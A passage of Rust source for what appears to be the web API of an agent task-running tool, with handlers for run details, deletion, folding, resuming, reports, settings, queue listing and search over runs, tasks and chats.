3323 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3324 RunProseMd {
3325 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3326 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3327 approaches: a
3328 .records
3329 .iter()
3330 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3331 .collect(),
3332 }),
3333 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3334 reviews_md: state
3335 .reviews
3336 .iter()
3337 .map(|round| RoundMd {
3338 reviewers: round
3339 .reviews
3340 .iter()
3341 .map(|rec| ReviewerMd {
3342 summary: nodes(&rec.summary),
3343 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3344 })
3345 .collect(),
3346 reconsideration: round
3347 .reconsideration
3348 .iter()
3349 .map(|rv| nodes(&rv.reason))
3350 .collect(),
3351 fix: round.fix.as_ref().map(|fix| FixMd {
3352 notes: nodes(&fix.notes),
3353 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3354 }),
3355 })
3356 .collect(),
3357 }
3358}
3359
3360impl RunDetailView {
3361 fn of(
3362 state: RunState,
3363 waiting: bool,
3364 live: crate::run::Liveness,
3365 superseded_by: Option<String>,
3366 latest_attempt: Option<LatestAttempt>,
3367 task: Option<TaskRef>,
3368 ) -> Self {
3369 let display_status = run_display_status(&state, waiting, live);
3370 Self {
3371 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3372 prose_md: run_prose_md(&state),
3373 origin_label: crate::run::origin_label(state.origin.as_ref()),
3374 live,
3375 unmerged_by_design: state.unmerged_by_design(),
3376 waiting,
3377 display_status,
3378 done: state.status.done(),
3379 superseded_by,
3380 latest_attempt,
3381 task,
3382 state,
3383 }
3384 }
3385}
3386
3387async fn run_detail(
3388 State(ui): State<Arc<Ui>>,
3389 Path(id): Path<String>,
3390) -> ApiResult<Json<RunDetailView>> {
3391 blocking(move || {
3392 let id = resolve_run(&ui.runs, &id)?;
3393 let state = read_run(&ui.runs, &id)?;
3394 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3395 let live = state.liveness(daemon_claims);
3396 let waiting = !ui.questions.open_for(&id).is_empty();
3397 let superseded_by = state
3398 .pr_taken_over_by
3399 .clone()
3400 .or_else(|| ui.queue.superseded_by(&id))
3401 .as_deref()
3402 .map(crate::run::short_of)
3403 .map(str::to_owned);
3404 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3408 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3409 short: head.short().to_owned(),
3410 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3411 status: head.status,
3412 done: head.status.done(),
3413 id: head.id,
3414 })
3415 });
3416 let max_attempts = daemon::Opts::default().max_attempts;
3417 let task = ui
3418 .queue
3419 .list()
3420 .into_iter()
3421 .find(|t| t.runs.contains(&id))
3422 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3423 Ok(Json(RunDetailView::of(
3424 state,
3425 waiting,
3426 live,
3427 superseded_by,
3428 latest_attempt,
3429 task,
3430 )))
3431 })
3432 .await
3433}
3434
3435async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3444 let (id, unreadable) = {
3445 let ui = Arc::clone(&ui);
3446 blocking(move || {
3447 let id = resolve_run(&ui.runs, &id)?;
3448 match read_run(&ui.runs, &id) {
3449 Ok(state) => {
3450 let in_flight =
3451 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3452 state
3453 .ensure_can_delete(in_flight)
3454 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3455 let dir = ui.runs.join(&id);
3456 std::fs::remove_dir_all(&dir)
3457 .with_context(|| format!("remove run directory {}", dir.display()))?;
3458 Ok((id, false))
3459 }
3460 Err(_) => {
3461 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3465 return Err(ApiError::conflict(format!(
3466 "run {id} is being worked on by a live daemon right now"
3467 )));
3468 }
3469 Ok((id, true))
3470 }
3471 }
3472 })
3473 .await?
3474 };
3475 if unreadable {
3476 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3477 .await
3478 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3479 }
3480 let ui = Arc::clone(&ui);
3481 let done = id.clone();
3482 blocking(move || {
3483 ui.questions.abandon_for_run(
3486 &done,
3487 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3488 )?;
3489 Ok(())
3490 })
3491 .await?;
3492 Ok(StatusCode::NO_CONTENT)
3493}
3494
3495async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3519 let (id, state) = {
3520 let ui = Arc::clone(&ui);
3521 blocking(move || {
3522 let id = resolve_run(&ui.runs, &id)?;
3523 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3524 return Err(ApiError::conflict(format!(
3525 "run {id} is being worked on by a live daemon right now"
3526 )));
3527 }
3528 let state = read_run(&ui.runs, &id).ok();
3529 Ok((id, state))
3530 })
3531 .await?
3532 };
3533 let removed = match state {
3534 Some(mut state) => {
3535 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3536 .await
3537 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3538 if removed.is_empty() {
3543 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3544 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3545 }
3546 removed
3547 }
3548 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3549 .await
3550 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3551 };
3552 Ok(Json(FoldView {
3553 run: id,
3554 removed_count: removed.len(),
3555 removed,
3556 }))
3557}
3558
3559#[derive(Debug, Serialize)]
3561struct FoldView {
3562 run: String,
3563 removed: Vec<String>,
3565 removed_count: usize,
3566}
3567
3568#[derive(Debug, Deserialize)]
3571struct FoldMergedBody {
3572 #[serde(default)]
3573 pr_url: String,
3574}
3575
3576async fn run_fold_merged(
3596 State(ui): State<Arc<Ui>>,
3597 Path(id): Path<String>,
3598 Json(body): Json<FoldMergedBody>,
3599) -> ApiResult<Json<FoldMergedView>> {
3600 let pr_url = body.pr_url.trim().to_owned();
3601 if pr_url.is_empty() {
3602 return Err(ApiError::bad_request("pr_url is required"));
3603 }
3604 let (id, mut state) = {
3605 let ui = Arc::clone(&ui);
3606 blocking(move || {
3607 let id = resolve_run(&ui.runs, &id)?;
3608 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3609 return Err(ApiError::conflict(format!(
3610 "run {id} is being worked on by a live daemon right now"
3611 )));
3612 }
3613 let state = read_run(&ui.runs, &id)?;
3614 Ok((id, state))
3615 })
3616 .await?
3617 };
3618 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3619 .await
3620 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3621 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3622 .await
3623 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3624 Ok(Json(FoldMergedView {
3625 run: id,
3626 before: before.as_str().to_owned(),
3627 after: after.as_str().to_owned(),
3628 removed,
3629 }))
3630}
3631
3632#[derive(Debug, Serialize)]
3634struct FoldMergedView {
3635 run: String,
3636 before: String,
3638 after: String,
3640 removed: Vec<String>,
3642}
3643
3644async fn run_resume(
3664 State(ui): State<Arc<Ui>>,
3665 Path(id): Path<String>,
3666) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3667 let (id, state) = {
3668 let ui = Arc::clone(&ui);
3669 blocking(move || {
3670 let id = resolve_run(&ui.runs, &id)?;
3671 let state = read_run(&ui.runs, &id)?;
3672 Ok((id, state))
3673 })
3674 .await?
3675 };
3676 if let Some(to) = state
3677 .pr_taken_over_by
3678 .as_ref()
3679 .or(state.released_to.as_ref())
3680 {
3681 return Err(ApiError::conflict(format!(
3682 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3683 state.short(),
3684 crate::run::short_of(to)
3685 )));
3686 }
3687 if !state.status.resumable() {
3688 return Err(ApiError::conflict(format!(
3689 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3690 state.short(),
3691 status_word(state.status)
3692 )));
3693 }
3694 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3699 .into_iter()
3700 .next()
3701 {
3702 return Err(ApiError::conflict(format!(
3703 "the loop is running run {} right now; stop it first, or wait for \
3704 it to finish, before resuming a run by hand.",
3705 crate::run::short_of(&work.run)
3706 )));
3707 }
3708 let _resume = ui.begin_resume(&id)?;
3709
3710 let queued = RunSummary::of(
3713 &state,
3714 !ui.questions.open_for(&id).is_empty(),
3715 state.liveness(false),
3716 );
3717 let run = id.clone();
3718 tokio::spawn(async move {
3719 let _resume = _resume;
3720 match crate::graph::Runner::resume(&run) {
3721 Ok(mut runner) => {
3722 if let Err(e) = runner.execute().await {
3723 tracing::warn!("resume of run {run} stopped: {e:#}");
3724 }
3725 }
3726 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3729 }
3730 });
3731 Ok((StatusCode::ACCEPTED, Json(queued)))
3732}
3733
3734async fn run_report(
3735 State(ui): State<Arc<Ui>>,
3736 Path(id): Path<String>,
3737) -> ApiResult<impl IntoResponse> {
3738 let text = blocking(move || {
3739 let id = resolve_run(&ui.runs, &id)?;
3740 let state = read_run(&ui.runs, &id)?;
3744 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3745 let live = state.liveness(daemon_claims);
3746 Ok(format!(
3747 "{}{}",
3748 report::run(&state),
3749 report::active_seats(&state, live)
3750 ))
3751 })
3752 .await?;
3753 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3754}
3755
3756async fn run_report_json(
3760 State(ui): State<Arc<Ui>>,
3761 Path(id): Path<String>,
3762) -> ApiResult<Json<crate::report_view::RunReportView>> {
3763 let view = blocking(move || {
3764 let id = resolve_run(&ui.runs, &id)?;
3765 let state = read_run(&ui.runs, &id)?;
3766 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3767 Ok(crate::report_view::build(
3768 &state,
3769 state.liveness(daemon_claims),
3770 ))
3771 })
3772 .await?;
3773 Ok(Json(view))
3774}
3775
3776#[derive(Debug, Serialize)]
3782struct TaskView {
3783 #[serde(flatten)]
3784 task: Task,
3785 source_label: String,
3786 source_link: Option<SourceLink>,
3787 status_str: &'static str,
3788 instruction_md: Vec<md::Node>,
3792 waits_on: Vec<String>,
3796 stuck_roots: Vec<String>,
3799}
3800
3801impl From<Task> for TaskView {
3802 fn from(task: Task) -> Self {
3803 Self {
3804 source_label: task.source.label(),
3805 source_link: source_link(&task.source),
3806 status_str: task.status.as_str(),
3807 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3808 waits_on: Vec::new(),
3809 stuck_roots: Vec::new(),
3810 task,
3811 }
3812 }
3813}
3814
3815impl TaskView {
3816 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3817 let waits_on = inv.waits_on(&task);
3818 let stuck_roots = inv
3819 .stuck_roots(&task)
3820 .iter()
3821 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3822 .collect();
3823 Self {
3824 waits_on,
3825 stuck_roots,
3826 ..Self::from(task)
3827 }
3828 }
3829}
3830
3831#[derive(Debug, Default, Deserialize)]
3834#[serde(default)]
3835struct ReposQuery {
3836 refresh: u8,
3837}
3838
3839async fn repos_list(
3846 State(ui): State<Arc<Ui>>,
3847 Query(q): Query<ReposQuery>,
3848) -> ApiResult<Json<Vec<repos::Repo>>> {
3849 let refresh = q.refresh != 0;
3850 blocking(move || {
3851 let (cfg, _) = Config::discover(&ui.repo, None)?;
3852 Ok(Json(ui.repos_cache.list(
3853 &cfg.repos.roots,
3854 Duration::from_secs(cfg.repos.scan_ttl),
3855 refresh,
3856 )))
3857 })
3858 .await
3859}
3860
3861#[derive(Debug, Default, Deserialize)]
3863struct SettingsQuery {
3864 repo: Option<PathBuf>,
3865}
3866
3867fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
3871 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
3872 let paths: Vec<PathBuf> = ui
3873 .machine_config
3874 .iter()
3875 .filter(|p| p.is_file())
3876 .cloned()
3877 .collect();
3878 if paths.is_empty() {
3879 Ok(Config::autodetected())
3880 } else {
3881 Config::load_layers(&paths)
3882 }
3883 });
3884 let mut known = cfg
3885 .map(|cfg| {
3886 ui.repos_cache.list(
3887 &cfg.repos.roots,
3888 Duration::from_secs(cfg.repos.scan_ttl),
3889 refresh,
3890 )
3891 })
3892 .unwrap_or_default();
3893 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
3894 if !known.iter().any(|r| r.path == path) {
3895 known.push(repos::Repo {
3896 name: path
3897 .file_name()
3898 .unwrap_or_default()
3899 .to_string_lossy()
3900 .into_owned(),
3901 path,
3902 });
3903 }
3904 known
3905}
3906
3907fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
3908 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
3909 let canonical = requested.canonicalize().ok();
3910 let mut known = settings_repositories(ui, false);
3911 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
3912 if !known.iter().any(matches) {
3913 known = settings_repositories(ui, true);
3914 }
3915 let repo = known
3916 .iter()
3917 .find(|r| matches(r))
3918 .map(|r| r.path.clone())
3919 .ok_or_else(|| ApiError {
3920 status: StatusCode::UNPROCESSABLE_ENTITY,
3921 message: "Choose a known repository from the Settings selector.".to_owned(),
3922 })?;
3923 Ok((repo, known))
3924}
3925
3926async fn settings_get(
3930 State(ui): State<Arc<Ui>>,
3931 Query(q): Query<SettingsQuery>,
3932) -> ApiResult<Json<settings::SettingsView>> {
3933 blocking(move || {
3934 let (repo, known) = settings_context(&ui, q)?;
3935 Ok(Json(settings::view_with_repos(
3936 &repo,
3937 ui.machine_config.as_deref(),
3938 &known,
3939 )))
3940 })
3941 .await
3942}
3943
3944#[derive(Debug, Deserialize)]
3946#[serde(deny_unknown_fields)]
3947struct RolesBody {
3948 revision: String,
3950 #[serde(default)]
3952 roles: std::collections::BTreeMap<String, Vec<String>>,
3953 #[serde(default)]
3957 counts: std::collections::BTreeMap<String, serde_json::Value>,
3958}
3959
3960async fn settings_put_roles(
3966 State(ui): State<Arc<Ui>>,
3967 Query(q): Query<SettingsQuery>,
3968 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3969) -> ApiResult<Json<settings::SettingsView>> {
3970 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3971 blocking(move || {
3972 let (repo, known) = settings_context(&ui, q)?;
3973 settings::save_with_repos(
3974 &repo,
3975 ui.machine_config.as_deref(),
3976 &body.revision,
3977 &body.roles,
3978 &body.counts,
3979 &known,
3980 )
3981 .map(Json)
3982 .map_err(|e| match e {
3983 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3984 settings::SaveError::Refused(m) => ApiError {
3985 status: StatusCode::UNPROCESSABLE_ENTITY,
3986 message: m,
3987 },
3988 settings::SaveError::Internal(m) => ApiError::internal(m),
3989 })
3990 })
3991 .await
3992}
3993
3994async fn queue_list(
3995 State(ui): State<Arc<Ui>>,
3996 Query(q): Query<ListQuery>,
3997) -> ApiResult<Json<Vec<TaskView>>> {
3998 blocking(move || {
3999 let tasks = ui.queue.list();
4000 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4001 Ok(Json(
4002 tasks
4003 .into_iter()
4004 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4005 .map(|t| TaskView::with_inventory(t, &inv))
4006 .collect(),
4007 ))
4008 })
4009 .await
4010}
4011
4012const SEARCH_MAX_HITS: usize = 100;
4014const SEARCH_MAX_QUERY: usize = 200;
4016const SEARCH_MAX_TERMS: usize = 8;
4017const SNIPPET_BEFORE: usize = 50;
4019const SNIPPET_AFTER: usize = 110;
4020
4021#[derive(Debug, Deserialize)]
4023struct SearchQuery {
4024 #[serde(default)]
4025 scope: String,
4026 #[serde(default)]
4027 q: String,
4028}
4029
4030#[derive(Debug, Serialize, PartialEq, Eq)]
4033struct SnippetPart {
4034 text: String,
4035 hit: bool,
4036}
4037
4038#[derive(Debug, Serialize)]
4039struct SearchHit {
4040 id: String,
4041 field: String,
4043 snippet: Vec<SnippetPart>,
4044 #[serde(skip_serializing_if = "Option::is_none")]
4048 run: Option<RunSummary>,
4049}
4050
4051#[derive(Debug, Serialize)]
4052struct SearchView {
4053 scope: String,
4054 q: String,
4055 hits: Vec<SearchHit>,
4057 total: usize,
4059 truncated: bool,
4060 unreadable: usize,
4063}
4064
4065fn text_leaves<'a>(
4068 value: &'a serde_json::Value,
4069 field: &'a str,
4070 out: &mut Vec<(&'a str, &'a str)>,
4071) {
4072 match value {
4073 serde_json::Value::String(s) => out.push((field, s)),
4074 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4075 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4076 _ => {}
4077 }
4078}
4079
4080fn fold_char(c: char) -> char {
4083 c.to_lowercase().next().unwrap_or(c)
4084}
4085
4086fn search_terms(q: &str) -> Vec<String> {
4088 let mut terms: Vec<String> = Vec::new();
4089 for t in q.split_whitespace() {
4090 let t = t.to_lowercase();
4091 if !terms.contains(&t) {
4092 terms.push(t);
4093 }
4094 }
4095 terms
4096}
4097
4098fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4101 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4102 let mut first: Option<usize> = None;
4103 for term in terms {
4104 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4105 first = Some(first.map_or(at, |f| f.min(at)));
4106 }
4107 let (field, text) = leaves[first?];
4109 Some(SearchHit {
4110 id: String::new(),
4111 field: field.to_owned(),
4112 snippet: snippet_of(text, terms),
4113 run: None,
4114 })
4115}
4116
4117fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4120 let chars: Vec<char> = text.chars().collect();
4121 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4122 let needles: Vec<Vec<char>> = terms
4123 .iter()
4124 .map(|t| t.chars().map(fold_char).collect())
4125 .collect();
4126 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4127 let mut best: Option<(usize, usize)> = None;
4128 for n in needles.iter().filter(|n| !n.is_empty()) {
4129 if n.len() > chars.len() || to == 0 {
4133 continue;
4134 }
4135 let last = (to - 1).min(chars.len() - n.len());
4136 if from > last {
4137 continue;
4138 }
4139 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4140 && best.is_none_or(|(b, _)| i < b)
4141 {
4142 best = Some((i, i + n.len()));
4143 }
4144 }
4145 best
4146 };
4147 let Some((start, _)) = find(0, chars.len()) else {
4148 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4150 return vec![SnippetPart {
4151 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4152 hit: false,
4153 }];
4154 };
4155 let lo = start.saturating_sub(SNIPPET_BEFORE);
4156 let hi = (start + SNIPPET_AFTER).min(chars.len());
4157 let mut parts: Vec<SnippetPart> = Vec::new();
4158 let mut push = |s: &[char], hit: bool| {
4159 if s.is_empty() {
4160 return;
4161 }
4162 let text: String = s.iter().collect();
4163 match parts.last_mut() {
4164 Some(p) if p.hit == hit => p.text.push_str(&text),
4165 _ => parts.push(SnippetPart { text, hit }),
4166 }
4167 };
4168 if lo > 0 {
4169 push(&['\u{2026}'], false);
4170 }
4171 let mut at = lo;
4172 while at < hi {
4173 match find(at, hi) {
4174 Some((s, e)) => {
4175 push(&chars[at..s], false);
4176 let shown = e.min(hi);
4178 push(&chars[s..shown], true);
4179 at = shown;
4180 }
4181 None => {
4182 push(&chars[at..hi], false);
4183 at = hi;
4184 }
4185 }
4186 }
4187 if hi < chars.len() {
4188 push(&['\u{2026}'], false);
4189 }
4190 let mut prev_space = false;
4193 for p in &mut parts {
4194 let mut out = String::with_capacity(p.text.len());
4195 for c in p.text.chars() {
4196 if c.is_whitespace() {
4197 if !prev_space {
4198 out.push(' ');
4199 }
4200 prev_space = true;
4201 } else {
4202 out.push(c);
4203 prev_space = false;
4204 }
4205 }
4206 p.text = out;
4207 }
4208 parts.retain(|p| !p.text.is_empty());
4209 parts
4210}
4211
4212fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4214where
4215 I: IntoIterator<Item = (String, serde_json::Value)>,
4216{
4217 for (id, doc) in docs {
4218 let mut leaves = Vec::new();
4219 leaves.push(("id", id.as_str()));
4222 text_leaves(&doc, "", &mut leaves);
4223 if let Some(mut hit) = search_document(terms, &leaves) {
4224 view.total += 1;
4225 if view.hits.len() < SEARCH_MAX_HITS {
4226 hit.id = id;
4227 view.hits.push(hit);
4228 }
4229 }
4230 }
4231 view.truncated = view.total > view.hits.len();
4232}
4233
4234fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4241 let opener = talk
4242 .turns
4243 .iter()
4244 .find(|t| t.who == crate::talk::Who::Operator)
4245 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4246 .unwrap_or("");
4247 let title: String = if opener.chars().count() > 96 {
4248 opener.chars().take(95).chain(['\u{2026}']).collect()
4249 } else {
4250 opener.to_owned()
4251 };
4252 let turns: Vec<serde_json::Value> = talk
4253 .turns
4254 .iter()
4255 .map(|t| {
4256 let who = match t.who {
4257 crate::talk::Who::Operator => "operator",
4258 crate::talk::Who::Agent => "agent",
4259 };
4260 serde_json::json!({ who: t.body })
4261 })
4262 .collect();
4263 serde_json::json!({ "title": title, "turns": turns })
4264}
4265
4266async fn search_get(
4273 State(ui): State<Arc<Ui>>,
4274 Query(q): Query<SearchQuery>,
4275) -> ApiResult<Json<SearchView>> {
4276 let query = q.q.trim().to_owned();
4277 if query.is_empty() {
4278 return Err(ApiError::bad_request("q must not be empty"));
4279 }
4280 if query.chars().count() > SEARCH_MAX_QUERY {
4281 return Err(ApiError::bad_request(format!(
4282 "q is longer than {SEARCH_MAX_QUERY} characters"
4283 )));
4284 }
4285 let terms = search_terms(&query);
4286 if terms.len() > SEARCH_MAX_TERMS {
4287 return Err(ApiError::bad_request(format!(
4288 "q has more than {SEARCH_MAX_TERMS} terms"
4289 )));
4290 }
4291 let scope = q.scope;
4292 if scope != "runs" && scope != "tasks" && scope != "chats" {
4293 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4294 }
4295 blocking(move || {
4296 let mut view = SearchView {
4297 scope: scope.clone(),
4298 q: query,
4299 hits: Vec::new(),
4300 total: 0,
4301 truncated: false,
4302 unreadable: 0,
4303 };
4304 if scope == "runs" {
4305 let mut unreadable = 0;
4306 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4310 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4311 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4312 Some(v) => Some((id, v)),
4313 None => {
4314 unreadable += 1;
4315 None
4316 }
4317 }
4318 });
4319 search_docs(&terms, docs, &mut view);
4320 view.unreadable = unreadable;
4321 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4324 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4325 for hit in &mut view.hits {
4326 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4327 hit.run = summarize(
4328 [state],
4329 &open_runs,
4330 &claimed,
4331 &superseded,
4332 |p| probe.borrow_mut().status(p),
4333 |p| probe.borrow_mut().started_at(p),
4334 )
4335 .pop();
4336 }
4337 }
4338 } else if scope == "chats" {
4339 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4340 view.unreadable = unreadable;
4341 search_docs(
4342 &terms,
4343 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4344 &mut view,
4345 );
4346 } else {
4347 let docs = ui.queue.list().into_iter().filter_map(|t| {
4348 let mut v = serde_json::to_value(&t).ok()?;
4349 if let Some(o) = v.as_object_mut() {
4352 o.insert("filed_by".to_owned(), t.source.label().into());
4353 }
4354 Some((t.id, v))
4355 });
4356 search_docs(&terms, docs, &mut view);
4357 }
4358 Ok(Json(view))
4359 })
4360 .await
4361}
4362
4363#[derive(Debug, Serialize)]
4365struct TaskRunView {
4366 n: usize,
4368 id: String,
4369 short: String,
4370 kind: &'static str,
4372 status: Option<&'static str>,
4374 readable: bool,
4376 provisional: bool,
4378 description: String,
4380 outcome: String,
4382 created_at: Option<Timestamp>,
4383 pr: Option<String>,
4384 exit: RunExit,
4386 attempt: AttemptCost,
4388 branch: Option<String>,
4390}
4391
4392#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4394#[serde(rename_all = "snake_case")]
4395enum RunExit {
4396 Unreadable,
4397 Interrupted,
4399 Parked,
4400 QuotaStall,
4401 ResumedQuotaStall,
4405 Merged,
4406 Ready,
4407 Superseded,
4408 AlreadyInBase,
4411 Stalled,
4413 HeldWithPr,
4415 NoopHeld,
4416 Spent,
4418 InProgress,
4419}
4420
4421#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4422#[serde(rename_all = "snake_case")]
4423enum AttemptCost {
4424 Spent,
4425 Refunded,
4426 None,
4427 Unknown,
4429}
4430
4431impl RunExit {
4432 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4433 let Some(s) = s else {
4434 return Self::Unreadable;
4435 };
4436 let status = s.status;
4437 if resumed_later {
4438 Self::Interrupted
4439 } else if s.parked {
4440 Self::Parked
4441 } else if !status.done() {
4442 Self::InProgress
4443 } else if matches!(status, RunStatus::Merged) {
4444 Self::Merged
4445 } else if matches!(status, RunStatus::Ready) {
4446 Self::Ready
4447 } else if matches!(status, RunStatus::Superseded) {
4448 Self::Superseded
4449 } else if matches!(status, RunStatus::AlreadyInBase) {
4450 Self::AlreadyInBase
4451 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4452 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4453 {
4454 if resumed {
4455 Self::ResumedQuotaStall
4456 } else {
4457 Self::QuotaStall
4458 }
4459 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4460 Self::HeldWithPr
4461 } else if matches!(status, RunStatus::VerifiedNoop) {
4462 Self::NoopHeld
4463 } else if matches!(status, RunStatus::Stalled) {
4464 Self::Stalled
4465 } else {
4466 Self::Spent
4467 }
4468 }
4469
4470 fn cost(self) -> AttemptCost {
4471 match self {
4472 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4473 Self::Merged
4474 | Self::Ready
4475 | Self::Stalled
4476 | Self::HeldWithPr
4477 | Self::NoopHeld
4478 | Self::Spent => AttemptCost::Spent,
4479 Self::InProgress => AttemptCost::None,
4480 Self::AlreadyInBase => AttemptCost::Refunded,
4481 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4482 AttemptCost::Unknown
4483 }
4484 }
4485 }
4486
4487 fn edge_label(self, status: Option<&str>) -> String {
4489 match self {
4490 Self::Unreadable => "record unreadable".to_owned(),
4491 Self::Interrupted => "interrupted before the run finished".to_owned(),
4492 Self::Parked => "parked, attempt refunded".to_owned(),
4493 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4494 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4495 Self::Merged => "merged".to_owned(),
4496 Self::Ready => "ready, not merged".to_owned(),
4497 Self::Superseded => "superseded by a later attempt".to_owned(),
4498 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4499 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4500 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4501 Self::NoopHeld => "verified no-op".to_owned(),
4502 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4503 Self::InProgress => "in progress".to_owned(),
4504 }
4505 }
4506
4507 fn explains(self, end: TaskStatus) -> bool {
4510 match self {
4511 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4512 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4513 Self::Unreadable | Self::Superseded | Self::Ready => true,
4514 _ => end != TaskStatus::Done,
4515 }
4516 }
4517}
4518
4519#[derive(Debug, Serialize)]
4521struct TaskDetailView {
4522 #[serde(flatten)]
4523 task: TaskView,
4524 max_attempts: usize,
4527 history: Vec<TaskRunView>,
4528 flow: FlowView,
4529 followup_origin: Option<FollowUpOrigin>,
4531 runs_unreadable: usize,
4533 attempts_note: &'static str,
4535}
4536
4537const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4538and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4539on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4540in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4541
4542fn review_branch_of(instruction: &str) -> Option<&str> {
4545 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4546 rest.split('`').next().filter(|b| !b.is_empty())
4547}
4548
4549struct RunSlot<'a> {
4551 n: usize,
4553 resumed: bool,
4555 resumed_later: Option<usize>,
4557 prior: Option<(&'a str, RunStatus)>,
4559 last: bool,
